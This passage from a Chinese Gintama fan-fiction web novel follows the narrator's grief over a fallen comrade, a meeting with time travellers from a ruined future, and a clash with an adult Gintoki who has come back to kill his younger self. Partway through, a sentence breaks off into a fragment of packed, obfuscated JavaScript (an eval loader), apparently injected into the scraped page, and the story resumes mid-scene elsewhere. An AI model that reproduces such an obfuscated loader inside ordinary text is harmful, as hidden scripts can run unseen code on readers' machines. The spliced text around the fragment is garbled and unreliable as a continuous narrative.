高杉说这话的时候,冷漠得有点可怕,然而他握着我的手却非常用力,让我的指节生痛。 胸口仿佛被无形的手抓紧般,一种尖锐的撕痛蔓延,我的呼吸开始变缓,全身却不受制止地颤抖起来,连声音也哆嗦着,“她……搞,搞错了吧……我明明看到她带队撤离的……我,我还跟她说要小心……” “齐藤受了重伤,她折回去救治,有敌袭……送齐藤撤离时她为他们做掩护,所以……”高杉声音低沉,一个是他们鬼兵队的成员,一个是他的同学,他也一定很痛。 我嗯了一声,还是反应不过来。脑海里头一片混乱,全是跟明里一起的画面。 好像昨天还是前天,她还羞红着脸跟我分享恋爱记录,说齐藤傻兮兮地摘了一束花给她,结果那是有毒的,他手痒了半天还是她摘草药给他敷。我还取笑他们恋爱这么抽象真的没问题吗…… “为什么……会是她?”我喃喃地低问,明知道不该有答案。 头上一重,辰马的声音一如以往的爽朗,却听不出一丝轻松,“阿月,这是战场,谁都可能会死。” 我瞳孔轻颤,回握着高杉的手才不至于麻木。 是啊,谁都会死,可是……为什么一定要是她?那孩子的人生还没真正开始啊,她甚至才刚刚尝到恋爱的甜。 齐藤的哭鸣让我眼眶发烫,我无法走过去,只是靠在高杉的背上默默地平复情绪。作为队长,他们没时间伤心,哪怕是作为辰马副手的我……也还有一堆事要跟进。 这是战场……而且,是开始跟人类的战场。 因为不远处还有人类的敌人在驻扎虎视眈眈,明里和其他牺牲同伴的坟有些草率,只有我摘了一束灿烂的野花放在那。大家祭拜过后便很快收拾心情,都是踩在生死线上,今天是他人,也许明天就是自己了,故没有需要太过悲伤。 就连齐藤,痛哭过后,已化悲愤为力量,积极配合伤势治疗,准备下一场战役。 好像只有我,还无法轻易走出那种难过,连呼吸都觉得□□。 银时和桂是在一天之后才回来的,看到他们那一刻我也没说什么,只是狠狠地把他们揍进地里,要求下次早点回来。然后,才拖着他们去处理伤口。 他们知道明里的事后也没说什么,只有桂悄悄地跟我说,等一切平息后会想办法带明里回去。 我笑着说好。 银时看我的眼神有点担心,但他也没说什么,大概是想要让我自己消化。不过现在的他也不是能藏住话的,在我给他包扎好身上的伤口并按着他塞进被窝时,他就忍不住双眼乱瞟,烦躁地扯着卷发,一脸想问又不敢问的样子。 “别看了,我没事。”他那样子我看着都累了,我没好气地查看了一下桂的伤口,确认没问题了才对银时道,“赶紧休息吧你们,伤得都不轻呢。” “阿银没事,这点伤根本不算什么,还比不上你那一拳……”被我直接说出来,银时不自在地别过头。 听出他语调里的不在乎,我忽然就怒了,“不算什么?你知道自己手臂和后背的伤口有多深吗?肋骨都断了至少两根……还有假发,那刀都快捅穿你肚子了,你们以为自己是不死鸟吗?还是把自己当猫了有九条命?银时你别翻身,都说你骨头断了别乱动啊!你是不是觉得没死都不算什么啊……我,你,他……那什么……” 喉咙噎得厉害,说到最后我都不知道要说什么了,只能瞪着他们。我包扎的伤,我能不知道有没有事吗? 银时蓦地噗嗤一声,忍俊不禁地抬手扯了扯我的头发,眼神难得没有戏谑,“吓到了吧……还没见过你词穷……” 我眼眶突然酸胀,瞪着他想要爬起来的身子,“给我躺好!我不是词穷,是想骂的词汇太丰富了一时间不知道骂哪句而已。” 他揉了揉鼻子,乖乖地躺下。我眼尾扫过去,躺在隔壁的桂识相地慢慢躺好。 “阿萤,别担心,我们很快就会好的……所以,别哭哦……”桂偏头看着我轻声道。 “谁哭了啊……”我低着头,闷声道。他们又没死,我哭什么啊。 “什么嘛,阿银都这样了,你哭一下也可以啊。”银时拉开被子指了指自己身上的绷带,眨着死鱼眼无赖地要求。 “没空,我还要清点物资,跟黑子算这段时间的预算,列采购清单……忙死了,你们好好休息吧。想要我哭,你们还早了十年。” 医疗队伤亡较多,这次伤患也多,我是特地来支援的。给他们两人擦干净发梢的血迹,我收拾好东西便打算离开。 “喂……”银时躺在那挖着鼻孔,漫不经心地问,“你真的……没事吧。” “我能有什么事?我现在可强了……”低头看着他,我咬着唇好一会才轻声问道,“呐,银时,假发……如果松阳能回来,你们还会留在这个战场吗?” 我之前一直想去见松阳,一部分是想要弄清楚他的身份,另一部分是想要告诉他这几个孩子的努力,想要他回来,然后大家一起回去。 想法天真,但也许能做到呢。 只是,亲身经历了这些杀戮,目睹那么多同伴先后而亡,即使松阳真的回来了,他们三个……真的可以抛下这些存活的同伴,背弃那些死在路上的战友,离开这个战场吗? 他们……真的有退路吗?连胧也曾说过,他能放过我,却不能放过joy3…… 银时张了张口,想说什么却又忽然停住。绯瞳轻颤,随后他翻了个身背对我侧躺着没有说话,脸往头枕着的手臂转过去埋着。 “阿萤,在去到这个国家的黎明之前,我都不会离开我人生的战场。”桂的声音很轻,异常坚定,没有一丝迟疑,“但是,我希望老师和你可以安稳地回去松下村塾,我也一定会回去,在黎明之时与你们相聚。” 桂的眼神非常温柔,茶色的眸子清澈干净,十分坚决。他没有回避这个问题,也没有彷惶自己的未来,一如以往的清醒。 “假发……”意料之中又有点意外,我叹了口气,朝他露出笑容,“别说笑了,无论是我还是松阳,都不会让你一个人奋战。哪怕不在一起,无法保护你们的后背,我们也会在不同的地方,为同样的归宿而战斗。” 如果有一天我离开这里,也会继续坚持我自己的战斗,直到回家——无论哪一个家。 伸手揉了揉他们的头,我扬了扬眉,站起来,“不用担心我,只要你们不倒下,我也不会脆弱到就这样倒下的。说过了,我可是不会输的女人哦。” 冷冷地警告他们躺着直到明天的太阳升起,我关上门忙其他去了。路上遇到不少人, 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“傻了我,春雨有钱,哪像我们……穷兮兮的。”据说银时他们之前也穷,是辰马来了之后才好起来的。 哎,想到初见的万事屋银时,我撇了撇唇,他穷还真是贯彻始终,难怪惦记我遗产。要是真的会回去,我就帮衬一下万事屋生意好了。 因着明里等伙伴的死,大家都安静下来,平日的耍赖和戏谑现在都很少看到了。就连银时和高杉都少了打闹,话题严肃了很多,虽然在我面前还是表现轻松,但转个头的功夫眼神就会沉寂下来。 伸了个懒腰,我走出去打算歇息一下,眼尖地看到齐藤一个人走向树林。叹了口气,我跟了过去。 看到那个高壮的少年蹲在树干边埋头哭泣,我一时间不知道怎么安慰。这个时候,好像再多的语言都是苍白。 安静地蹲在他身边,我伸手搭在他肩膀上,用力搂了一下,“有需要的话,肩膀可以借给你。” 怀抱就算了,毕竟是小姐妹的男人。 齐藤微愣,表情又哭又笑的,“谢谢……但我可不想被他们抓着特训。” 我睨了眼他,温柔地拍了拍他的肩膀,“你很厉害了,齐藤君。明明也是个孩子而已……明里眼光真好,她很喜欢很喜欢你,因为这样,不要内疚,你要努力活下去。” 一夜之间褪去孩子气的男子露出一个比哭更难过的笑容,“我知道的。我跟明里约好了,谁不在也要好好地过,留下的人要努力活到这个国家的黎明到来。所以,不用担心,也不用安慰,我只是想要好好哭一下,然后再努力。” 我笑着点点头,站起来,伸手在他头顶揉了揉,“好孩子,你一定要幸福。” 齐藤失笑,抬手擦了擦眼泪鼻涕,“阿萤,我可不是小孩子了。” “男人至死是少年,而且姐姐可是年年25的大人哦。大人是可以夸奖乖孩子的。”我收回手,把这里还给他一个人。 这些战场上的孩子,比我成熟多了。他们对死亡的释怀,对未来的坚定,都不是我能比的。我脚步一顿,暗忖莫非因为这样,银时和高杉他们才一直把我当弱者? 摇摇头,随意看了眼周围。忽然,细微的声响从身后传来,我猛地转身,只捕捉到飞闪而过的银色。 “银时?”我有些意外,他不是跟高杉他们在开会吗? 我追了几步,树丛安静得有些异常,“奇怪,看错了吗?” 明明感觉有人,还是那种熟悉的气息……但若真是银时也没必要跑吧,难道他偷溜出来?怕我跟高杉告密吗? 瞎想着,我转身往回走。 一抹红色突兀地走过,我惊诧得瞪大了眼,脚步一迈跑了过去。 “长谷川先生?”一把抓着那个鬼鬼祟祟的人,看清他面孔的那刹那,我惊讶得叫了出来。 这个一身红色浴衣,踩着木屐,戴着墨镜,满身掩不去madao气息的男人,不就是我在歌舞伎町公园施舍过食物的长谷川泰三?因为神乐特别跟我说过别靠近这个maodao,但揶揄他的那眼神明显就是相熟,我有时还会把快到期的零食送给他。 “阿,阿萤小姐……诶?为什么你会在这里?不对,为什么现在的你会认识我?”长谷川脸色看起来比我更惊讶,连墨镜后的双眼都在颤抖。 为什么?因为我来自十年后啊……我想得理所当然的,但……不对,他…… “阿萤?你去哪里了啊?”黑子的声音从林子外传来,“不是要做预算吗?怎么不见了人?又乱跑的话会被高杉队长骂哦。” 我一把扯过长谷川,直接走进林子深处。 47.十五年后的事 树林的另一边有一条小河,河水清澈,还有一些不知名的鱼。大家有时会过来捕鱼和洗漱,不过这个时候高杉他们在开会,其他人在训练,没人过来。 我坐在河边的石头上,仔细端详着眼前的长谷川,发现他脸色看起来挺憔悴,脸颊都不太饱满,老了不少的样子。 “长谷川先生,你未来……过得很不好吗?” 之前在公园看到他的样子也没这么残,就算是madao,他也是公园里比较得体的废材,没想到再过几年他会变得这样……颓废沧桑。 男人的五年变化这么大的吗? “啊哈哈,说这话的人是你很奇怪啊……”长谷川泰三双手交握坐在我对面,看我的眼神竟有一抹怀念的感慨。 “为什么?你说你来自十五年后,你怎么来的?银时和神乐,新八他们呢?没理由你有这奇遇他们没有吧?我呢?这么好玩的事,我怎么可能错过。” 喂喂,那可是主角啊,什么事发生在他们身上都不出奇。要是银时回来一定会找我,因为他知道我来自十年后。但现在不见万事屋三人,反而是长谷川这个偶尔出现的配角在这里……怎么回事?还是说我判断错误,其实他跟主角关系非常密切? “说这话那是因为……啊,说起来,阿萤小姐,你怎么会认得我?”长谷川泰三不知道怎么说,他还在惊讶我知道他的事。 我看了眼四周,低声道,“因为,我来自十年后啊……啊,你说你是十五年后回来的,那就是比我所在的时间还要未来?” “十年后?”长谷川脸色忽然一喜,眉宇一扫晦暗,神情也激动起来,“难道阿萤小姐你没有死,只是回到了过去?” 诶? 我愣了一下,眨了眨眼,好半响才反应过来,指了指自己,“你是说……我死了?什么时候?” 这冲击也太大了吧,虽然我曾热衷于找死,但忽然有个人跳出来说我在某个时间点死掉,我还是心慌发毛。 长谷川泰三低下头,叹了口气,“阿萤小姐,既然你认识大家,那我就可以全部告诉你了。” 看了我一眼,他沉默半响组织了语言,把他所知道的事尽量清晰地告诉我。 按他所说,十年后我急病离世,不久之后银时也失踪了。随后五年,世界变成了病毒的温床,人类死了大半,而这一切都是因为银时在攘夷战争时期被一种名为魇魅的天人种下了蛊毒。而那蛊毒也不是真的咒术,是极其微小的纳米机器人。这些机器人会如同病毒一样,寄生在人体身上,形成核心,以漫长的时间跟人类的基因达成进化,然后产生一种人类无法抵挡的病毒,传播至整个世界的人类。 十年后的坂田银时失踪便是因为发现自己就是病原体,神隐起来,独自度过漫长而痛苦的五年时间。他失踪前找机械师源外老爹帮忙制造时光机,然后传送了十年后的坂田银时到十五年后去杀掉成为魇魅的坂田银时。 “他真的杀了自己?”我听得心寒,那刹那我不知道自己木然的思绪是怎么回事,只是觉得心脏再次被狠狠捏住般锐痛。这个信息比我自己在十年后死掉更让我难以接受。 那五年他是怎么熬过的?看着人类一个个因为他而痛苦死亡,甚至最后连重要的朋友同伴都难以幸免,十五年后的坂田银时比任何人都向往死亡吧。 那十年后的银时……又是以什么心态面对造成一切的自己?杀掉自己的他,还会做什么? 长谷川点点头,露出无奈又感叹的笑容,“那个笨蛋,就是这样的人啊……所以,我们才不愿意就这样放弃这个笨蛋。” “他也回来了?十年后的坂田银时……回来杀掉现在的银时?” 长谷川点点头,我忽然很想把那个银白色的头颅劈开看看里头装的是什么神奇的东西,K隆星的草吗?他回来不是应该在银时被传染那个病毒之前干掉那个鬼魇魅,让现在的银时平安长大吗? 这样说来,刚才难道真的是他?难怪怕我看到,绝对是怕被我揍! 我气得按着人中才能不被气晕过去,“松阳知道自己把孩子教得这么蠢吗?难怪他宁愿呆在监狱里头……不对,长谷川先生,我该不会也是死于你说的那个白诅吧?” 十五年后,那个实际上是机器人造成的病毒产生的病就叫‘白诅’。 长谷川为难地摇摇头,“不知道,那个时候还没任何人知道这些,你的情况跟后来那个病症也不是很像。只是,你从出事到去世的时间太短了,而且你要求医院立刻把你火化掉,所有人都还没反应过来,连你最后一面也没人见到……银桑就是在你死后不久突然失踪的。” 立刻火化,连最后一面也不给见的话……不用想,那时候的我肯定是出了些问题才会这般决绝。但病症不像的话,那就可能不是白诅,而是其他病毒感染。 我有点想哭,十年后我还没来得及回家吗?要是我真的死于那个东西……那十五年后的银时该多自责。难道正是因为我知道了什么,才会不让大家见最后一面就要求火化? 不对,如果我真的觉得自己要在这个世界死去了,那么我会不会认为……火化掉就肯定不会再重来一次?那样的话,无论死于什么,火化都是我的选择。 同情一秒我自己,还有那个帮我安排火化的人,事后肯定会被他们揍很惨。 不,等等……忽然我脑中灵光一闪,那个魇魅该不会是我之前碰到的那个吧? 跟长谷川确认后,我有点后怕,也有点庆幸。还好当时让黑子他们先撤了,还好辰马和桂来的时候他不知道为什么走了,还好我没受伤……那既然我没受伤,十年后为什么会死掉? 那就是说,我不是因为白诅而死……该不会是身体真的有什么病变吧……毕竟我身体现在已经很奇怪了。 “呐,长谷川先生,你来是为了什么?”我好奇地看着他,想要知道他们现在想做什么,好阻止和完善那个笨蛋的简单计划。 “不止是我哦,源外老爹重新制作了时光机,把我们传送过来帮助那个笨蛋。”长谷川推了推墨镜,笑了起来,“大家都不忍心让那个连自己都放弃的笨蛋,就这样走不到未来。虽然事后我们会消失这些记忆,但我们还是会在未来遇到,这样就足够了。” 明明是个没用的废材流浪汉,但这一刻他身上散发的光却让我觉得有点耀眼,让我心底的那抹痛也隐约被抚平。 还好,虽然是个笨蛋,但也有遇到很好的人。 “过后都会失去这些记忆吗?那……带我去见他们吧。”我绽开灿笑,指了指自己,“我要加入你们拯救坂田银时的计划,有了我这个来自十年后又活在这里的人做内应,更好行动吧。” “诶?阿萤姐?” 被叫过来作为代表的新八和神乐看到我的时候慌乱得手脚都不知道怎么放,颤抖的瞳孔看看我又看看长谷川,真实地演绎‘我和我的小伙伴都惊呆了’这句话。 我看到他们也有刹那的恍惚。这是十五年后的新八和神乐,高了很多,也漂亮了很多,是个出色 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“阿萤姐……我好想你啊鲁……你忽然就不在了,我们连你最后一面都没见到……然后银酱也不见了……呜呜……他还舍下我们自己回来抹杀一切……” 神乐就算长成了大人模样,哭起来还是像个小女孩,抱着我不肯放手。 来之前我已经听到他们的事了,那五年一定很痛苦,尤其是新八最爱的姐姐阿妙还染病了,一个人承受这一切也太难为这个温柔的大男孩了。还有神乐,骤然失去重要的同伴和家人,一个人在青春期挣扎成长,一定很难受。 伸手揉着他们的头,我心酸地吸吸鼻子,笑着安抚,“对不起,我没能陪着你们。但……好了,没事的,那个笨蛋我们一起教训一顿。至于未来……你们不就是为了改变那个被毁灭的未来才来的吗?我相信,我们一定不会让那个未来发生,对吧。加油,我们才不会输给那些天人,也不会输给银时那个笨蛋!” 新八和神乐两人擦了擦眼泪,坚定地点头。 我拍拍他们的肩膀,看向那边抱手而立姿势非常帅气的三个真选组成员。 “没想到阿萤小姐你果然是攘夷志士,真是意外啊。”近藤哈哈笑道,“还来自未来,难怪你跟十年后长得一模一样。” 其实现在的我跟他们不算熟,但看样子我将来真的会回到十年后的这个世界,还会跟他们熟悉起来。 “这样说的话,逮捕攘夷志士的真选组大佬来参加攘夷战争,不更让人意外吗?”我嘿嘿地笑了下,意有所指。 土方十四郎噗的一下笑出声,像是听到什么好笑的事般,“确实啊,没想到我们也有这一天。” “我倒是无所谓,反正都是杀,杀这些天人比杀攘夷志士来得痛快。”冲田总悟勾了勾唇,红眸泛起一抹兴致。 “那么,你们的计划呢?” 现在的时间已经有点晚了,我得在被骂之前赶回去。 在场的人忽然顿了一下,面面相觑,“计划什么的……没有哦。” 昂?我顿时死鱼眼看着他们,他们看起来比我还要迷茫。 “那个,我们只是想着,那个笨蛋想做什么,我们就阻止他,顺便处理掉那个魇魅,然后回家。” 呃,很好,很强大,很符合这个世界的标准。 “你们在开什么玩笑啊混蛋,不是说好了要救银桑的吗?我们之前都没有想过具体要做什么的吗?光是躲在这里就耗费一天时间了啊!” 48.训话不是吵架 幕府果然出损招。 远远眺望一下那艘半毁的飞船,还有密密麻麻准备要攻过来的天人,我撇了撇唇。这种有着毁灭整个星球隐患的雇佣兵部队也敢用,幕府那些高官脑子里装的一定是那美克星的粪便吧。 想到十年后是被这样的政府统治,我已觉得有点恶心。 还是祖国好啊……哎,忽然想认真倒个幕。 我站在山坡下,呼啸而过的狂风肆意把身上宽大的白袍吹得噗噗作响,卷起无数尘土,似要吞噬一切。天空晦暗得仿若风雨欲来,空气中隐约蔓延着火药的硝烟味和淡淡的血腥味。 握在手中的小美铮铮作响,明亮的刀身倒影在身后猛然俯冲下来的身影。 “万事屋坂田银时,参上!” 来了么? 随着震耳欲聋的暴喝,凌厉的气势划破旷野肆虐的风袭来,我轻眯起眼,猛地侧身避开那致命的一击。下一瞬,手中的小美划出漂亮的弧度,狠狠地劈向身后的人。 刀刃相接发出剧烈的巨响,那抹眼熟的白底蓝纹晃入眼帘,木刀挡下了我的攻击,刹那的气流冲击而来。没给他反应的机会,我用力扫腿,踢翻因我反击而诧异的人。同一时间,一脚踩在木刀刀刃,我挥刀横劈。 坂田银时的还击迅猛有力,密集的招式狂乱而杀气十足,那种狂放的气势让我光是应付已耗费全部心神,根本无法找他的破绽。 卧槽,这个无赖又废柴的大叔居然强到这种地步?那杀气腾腾的样子不愧是救世主啊……看来十年时间他也没怎么落下打架实力嘛! 瞄准刹那的空隙,我持刀猛地刺出。他的反应比我想象中更快,横踢夹带狠劲而来,我飞快地收刀挡下。那铁了心把人致死的力度太大,我整个人被踢飞往后。 还没落地,木刀已朝我劈来,那种死亡的压迫感让我心下一凛。轻巧翻身避开要害,木刀的刀尖擦过头发,假发被打掉,黑发飞扬。 那双暴戾的红眸猛然一颤,他攻击的动作骤停。抓紧那一瞬间,我狠狠地踹向他胸腹,两人各自跌向相反方向。 重重地跌在地上,我吃痛地拍拍后背,白袍沾了尘看起来脏兮兮的。无奈地捡起小美,我看向那个砸在不远处,此刻跪坐在地上目瞪口呆的笨蛋。 “搞不懂现在的你怎么那么喜欢穿白袍,是因为骚包还是设定?” 成年版的坂田银时无法反应般瞪着我,张了张口说不出话来。 “17岁的你宁愿认输也不肯跟我真正打一场,27岁的你倒是一心想把我往死里捅啊……坂田银时,从实招来,其实你想灭我不是一天两天了吧。” 我随手扎起马尾,慢慢走了过去,笑着弯身看他。 “你……”颤抖的手指指着我,他还是一副说不出话的蠢样。 “怎么?我年年25你居然都认不出来,是因为这身衣服的关系吗?糟糕,属于你的madao气息完全掩盖了我的高贵优雅了吗?”我恐慌地扯了扯白袍,紧张地问道。 “你爹的高贵优雅啊?”坂田银时猛地蹦起来,气愤地怒指,“maoda是以后的事了,现在的我还是一个青葱少年,哪来的madao气息啊?是因为这衣服太帅了,把你的猥琐和肌肉控掩盖起来才对!” “你倒是不否认自己的madao气息啊!哪来的青葱少年,现在的你也一样邋遢好吧,你还记得白袍有多难洗吗你个糖分控死白痴 !” 亏得我反应快退后一步,不然就要被他撞到了。 “哪里邋遢了,阿银现在也很爱干净好吧!”坂田银时想也不想地反驳,忽然像是终于反应过来般,蓦地指着我,整张脸都扭曲起来,“怎么会是你?不对,你怎么会在这里?我刚才还寻思着是不是角度问题,怎么阿银好像矮了很多,没想到真是个矮子。” “别把晋晋的特征按我身上,这个身高我很满足了。”165公分的身高无论在哪个时代都非常的标准,有需要还可以穿恨天高。我拍开他的手,“为什么在这里?我总不能眼睁睁地看着某个蠢货把我们家还没长歪的小子杀掉啊。” “烦死了!”坂田银时烦躁地搔着一头乱发,抓狂般喊道,“你根本不知道发生什么事啊白痴,那个天人,不,是阿银会被传染,未来要被我毁掉了啊!” 他暴躁的样子让我觉得不是未来,而是他快要被自己毁掉了。 “银桑,阿萤小——” 长谷川泰三从山坡上跑下来,才迈了两步就被绊倒,整个人滚了下来,趴在银时的脚边。 银时看到绝对不可能出现的人,整个人都惊呆了,“不是,你怎么也在这里?现在是集体乱入了吗?这个时空因为恶搞太多次终于成为筛子了吗?” “啊哈哈,对不起,长谷川先生,实在太想揍他了,抢了你难得的高光时刻。”我笑着拉起这个穿着浴衣套着护甲的人。 “没关系,那种被捅的高光不要也罢。”长谷川搔搔头,不介意地笑了笑。他朝银时咧出笑容,“银桑,阿萤小姐她都知道了。” 银时还在混乱中,炸毛地怒指我们,“她还没回去,能知道个毛线啊?你们乱入些什么,阿银的计划都被你们打乱了。” 他那张蠢脸真是让我烦了,我拍开他的手,沉着脸道,“你的计划就是杀掉什么都没感染的17岁的自己吗?明明有更好的选择……” “你懂个屁啊,随随便便就挂掉还把自己烧成灰的人好意思说什么选择吗?”银时气得口不择言,话一出口他猛地顿住了。 “银桑,这样说也太过分了,阿萤小姐也是来帮忙的。”长谷川看不过眼,忍不住声援我。 我没有生气,只是静静地看着他,若有所思,“银时,除了感染,大家会死掉,还会发生什么吗?你不想要发生的事……” 逆转时空而来,却选择杀掉还没感染的自己,再去杀掉那个源头的天人。坂田银时想要终结的,是未来被白诅毁灭的世界和同伴,还是什么都还没做的17岁的自己的未来? 这些问题我不敢深思,眼前人骤然收敛所有情绪的眸子让我的心底又出现那种莫名的锐痛。 “就你那脑子就别乱想了。杀掉源头,是最快,也是最有效率,成本又最小的办法。忘了吗,阿银的作战策略从来都是这样高效。”坂田银时抬眸看向那边的飞船和密密麻麻的敌人,口吻很敷衍地道,“那个敌人,可是你这级别的弱鸡不能打的超级boss啊,别搅和,赶快回去。” “那你倒是去杀那个天人啊,杀现在的银时做什么?另外,你说的该不会是那个全身包着写满咒文一般的布条的斗篷男吧?如果是那个,我早在之前偷运幕府武器的时候就交过手……在你跟我闹脾气的时……痛!”我话没说完,肩膀就被他猛地扣住,力气大得我一阵吃痛。 “什么?你个蠢货跟它交手做什么?你……你受伤了!”他视线落在我缠着绷带的手上,眼底蓦地迸发出一股几近疯狂的绝望,瞳孔颤抖紧缩,“怎么会这样……你是什么时候……难,难道你真的是……” 长谷川脸色一变,想要开口被我眼神阻止。 我看了眼被他抓着的手,直视着他,“如果是的话,你想怎样?源头成了我,你杀现在的银时没用了。那要杀掉我吗?就像刚刚想要捅死自己一样。啊呀,早知道我刚才就不要躲开,直接死在你手上才是最有效率,成本又最小的办法呢。记得还要烧掉我才稳妥哦……” 他的话被我反弹回去,坂田银时的手指在隐约发颤,声音干涩,“一,一定有办法的……总,总之,你,你别慌,我再想想……会有办法的……对,找那个人出来问一下……或者再造一台时光机……” 他越说越慌乱,整个人显而易见地陷入了奇怪的逻辑中无法挣脱,却强迫着自己去找突破点。 “我没慌,你也别慌啊,救世主桑。你连自己都能毫不犹豫杀掉,那杀我就更没压力了吧。死就死呗,反正我本来就……” 我越说越冷静,多少有几分刺激他的故意——他的命就这样不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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横竖都是他,这一拳揍谁都合理。 银时安静了一下,低着头爬了起来,转头瞪向长谷川,“等等,你也在这里,那我呢?现在年轻漂亮的阿银呢?” “啊哈,我想着银桑你孤单一人会寂寞,就带着酒来了,”长谷川拿出不知道哪里冒出来的酒,“没想到现在的你也很好客,虽然不认识也能喝到一起。现在大家还在宿醉中吧,啊哈哈哈哈……” 银时越听表情越怪异,整张脸陷入阴影,手指无助地曲了曲,“等等,那就是说,现在年轻漂亮的我不会来这里?魇魅还活蹦乱跳的?” “你不要强调年轻漂亮,这个形容除了年轻哪里适合你?”我听不下去了。 一把揪住长谷川的衣襟,崩溃的银时抓狂地喷道,“你们乱入些什么啊?我费尽千辛万苦为了改变未来才来到这里啊!” “别骂了,那边已经要攻过来了……”我摇了摇手提醒道,远处的天人已发现了吵闹的我们。 这群人还真是一脉相承,情况越是危机,他们闹得越是欢腾。 “啊——烦死了,现在别说改变未来,未来根本就是完蛋了啊!”银时完全沉浸在另一种绝望里头。 “啊——烦死了,黑子和泽木他们应该等得急了,我要去跟他们会合了。”昨天临时制定的计划,阻止了这个笨蛋后,我就要跟他们一起保护那群为了笨蛋而来但从没参加过战争的人们。 “长谷川先生,这个笨蛋交给你们了。” “等等!你又跑去哪儿?”银时一把拉着我,急道,“现在被你们搅浑成这样,你别想逃啊!那个魔魅就在这里,你这个弱鸡要是被盯上了……” 什么鬼啊,他担心的点是我太弱?若不是时间不允许,我还真想抽他。 “银时,无论会发生什么事,你还是好好地活着吧。”我笑着回头朝他道,“因为你活着,很多人都会觉得幸福,我也是。有那么多人为了你连时空都能跨越,你也会觉得幸福吧。” “诶?”银时愣了一下,表情有些无措。 “啊对了,我还没训完,谁教你这么不珍惜自己性命的?离开前等着我,我还有话要说的!”我挣开他的手,指着他要求道。 说罢,便迅速跑离这里,赶往我应该去的地方。 “谁管你啊,阿银是傻子吗?才不会等你啊混蛋!” 49.万事屋的委托 等我赶到会合地点,阵阵的炮声不断响起,战斗已经开始。 “阿萤!”泽木带着人跑了过来,有些好奇地张望,“那些人是谁?打头阵的看起来很厉害啊,是其他攘夷志士军吗?” 我回头看了眼,确实势如破竹,不愧是万事屋和真选组呢。 哎,近藤他们就别去当流氓警察了,大家一起攘夷多好啊……虽然现在攘夷也没前途。 “大概是什么无名英雄,别管他们了,我们也上吧。”我甩开这些可怕的念头,持刀指着他们后方。 前头那些人真的不需要我们担心,只是后面那些…… “来吧,伙伴们,不要让这些姑娘们在我们的战场抢太多风头哦~” “啊,那当然了!” 带着人冲向万事屋编外人员的队伍,我们果断抢占了前头的位置。原本应付起来有些吃力的百华姑娘们眼神一亮,为首淡黄发色的女子看了我一眼,神色顿变。 “阿萤——”拿着关刀杀得虎虎生威的阿妙笑着跟上来,“没想到还能跟你一起奋战啊~” “妙酱~哪有什么,香槟王给我留着,我回去后就去指名你~”尽管他们回去后全部都会忘记,但我还是笑着预定。 “没问题,给你留够两支,VIP价哦~”阿妙给我一个wink。 “吉原的美酒也不少,随时过来,我请客。” 苦无插在偷袭的天人头上,我利落地横刀一劈了结他,回头便看到月咏自信的笑容,“哇哦,这么大方,我不过夜都对不起那里的太夫们啊~” 用力砍杀掉敌人,血泊中一抹紫发飘扬,我抬头,飞甩苦无的猿飞翻身而下,亭亭立在一具天人的尸体上。 “我这样级别的美人是属于银桑的,过夜什么的就算是你也不行。不过,要死的话,你就别死在病毒手里了,让你go die这个委托就算是银桑不许我也可以偷偷接下来哦~”猿飞高居临下地看着我,唇边的笑意飞扬。 “啊哈哈,看来我回去后混得还不错嘛~”这么多妹子都跟我关系不错的样子。 我眉眼大亮,有什么比未来过得好更让人期待呢?尽管不是我所期待的,但死在十年后的我很可能就是回家了啊。 看吧,连会死掉的未来都这么让人满心欢喜,坂田银时怎么舍得放弃? 只要活着,一定发生好的事情啊! “哟西~姐妹们,上啊~我们女人绝不认输!”我持刀一马当先冲了上去。 “上啊——” “不,等等,我们不是姐妹啊——”泽木等人的反驳声很快被炮火声淹没。 有了我们小队作为前锋,大家气势浩荡地横扫了这片土地。很快,眼熟的雾气扑面而来,已知晓实际的我早就把那个核心机器人的事告诉过大家,对我们也没造成什么伤害。 力不能照顾到的地方也被那几个赶来的笨蛋迅速地解决。这场让未来的坂田银时几乎要放弃一切的战争在那些为他而来的人们努力下,很快平息下来。 忽然想到我之前拜托桂帮忙查那两个天人的事,我让泽木和黑子带队撤退后便匆匆往那边赶去。 “假发——你后来有没有帮我找到那两个天人,他们是谁……” 才爬上那个飞船,就看到一头长发披散的桂已经半透明状被手铐锁在边上,可怜兮兮地流着宽面条泪。 “阿萤,快救我啊~”桂看到我像看到救星一样。 “救什么救,你安心地坐牢去吧,十年后我会去探监的。”死鱼眼看着他消失,我忽然不想再看到他们这群不靠谱的笨蛋了。 “十年后再见。”冲田总悟和土方十四郎给我比了个帅气的姿势,淡定地消失在空气中。 我笑着目送认识的,不熟悉的人离开,靠在墙壁盘腿坐下。 像是看了一场热闹,曲终人散后有些寂寞。 十年后还会有我……那就是说我还会回去?对了,良子上次说怀表的动力已经修好了……那就是说我不会死在这里,而是回到十年后,再死在十年后? 可是,白诅的未来已经被改变,那我十年后还会死吗?不,不对,是大家觉得我可能死于白诅,但没有证实。也许,是我自己选择死亡。 所以到最后,我还是选择死亡然后回家……但,我真的是回家了吗?还是直接死在这个世界上了?无论哪一点,对后来的银时他们都有点残忍。 真的是,原以为自己已经够超前了,结果还是什么都不知道。就连接下来会发生什么事,让27岁的坂田银时毫不犹豫优先选择杀掉17岁的自己,我也完全不知道。 等到黄昏的光铺洒到脚边的时候,头上蓦地被重重地压着揉了揉。 “说过多少次了,女人刚洗过的头发不能摸啊混蛋。”我没好气地抬头,坂田银时那头白发都要被夕阳染得发红,“大家都走了?” “新八的本体倒是走了,眼镜架还留着。”银时咧出笑容,幸灾乐祸的欠揍。 可怜的团欺,再过五年都还这样,他还是死心塌地做吐槽役吧。 我看着他,想问的事情全部堵在嘴边,仿佛问了就会引起一些我不想要看到的东西,也改变不了什么。 “Happyending,怎么还是这副表情?” “才没有HE,无论怎么改变,已有的未来都不会改变。”我抿唇,难以接受的想哭。 十五年后的坂田银时被传送去的他杀了,若不是源外老爹又搞了个时光机让大家乱入,17岁的坂田银时也会被他杀掉,而杀掉自己的十年后回来的坂田银时也会在这里消失。为了他而来的十五年后的所有人都会消失,走不到十五年后。 如今,这个时空的所有人,会在十年后再次相遇,结缘,创造一个更美好的未来。 没有HE,不过是创造了一个平行时空的新未来而已,十五年后那个已经死掉的坂田银时不会再活过来。 这样想着,我的眼前一阵朦胧。 夕阳下的身体半透明,连影子也没有了,坂田银时没辙地搔着后脑,“你脑子不行就别想那么复杂的事了。至少这一次,白诅不会出现,你也不会化成灰。好了,要说什么就快说吧,不然阿银走了啊。” 呵,白诅是没有,但我化成灰这个结果……还真不一定。 